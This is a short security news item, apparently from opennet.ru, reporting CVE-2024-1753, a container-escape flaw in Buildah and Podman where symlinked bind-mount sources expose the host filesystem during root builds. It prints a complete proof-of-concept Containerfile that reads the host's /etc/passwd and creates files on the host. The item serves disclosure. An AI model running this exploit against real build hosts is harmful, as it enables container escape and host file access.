A vulnerability (CVE-2024-1753) has been identified in the Buildah and Podman packages, allowing for complete access to the host environment's file system during the build phase of a container executed with root privileges. On systems with SELinux enabled, access to the host file system is restricted to read-only mode. A patch is currently available and has just been accepted into the Buildah codebase.
The vulnerability arises from the fact that when mounting parts of the file system using the 'mount --bind' command during the RUN stage of the build, the argument for the source directory (the 'source=' parameter) is not checked for existence in the root file system. A maliciously crafted Containerfile can utilize a container image in which the source directory for mounting is set as a symbolic link to the root file system. In this case, the mount operation will lead to the root file system of the host environment being mounted inside the container, allowing full access to the host's file system during the RUN stage and enabling an escape from the container during the build process using the 'buildah build' or 'podman build' commands.
An example of a malicious Containerfile, which when built using the command 'podman build -f ~/Containerfile .' will display the contents of /etc/passwd and create files /BIND_BREAKEOUT and /etc/BIND_BREAKOUT2 in the host environment: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo 'ls container root' RUN ls -l / RUN echo 'With exploit show host root, not the container’s root, and create /BIND_BREAKOUT in / on the host' RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo 'With exploit show host /etc/passwd, not the container’s, and create /BIND_BREAKOUT2 in /etc on the host' RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
Source: opennet.ru
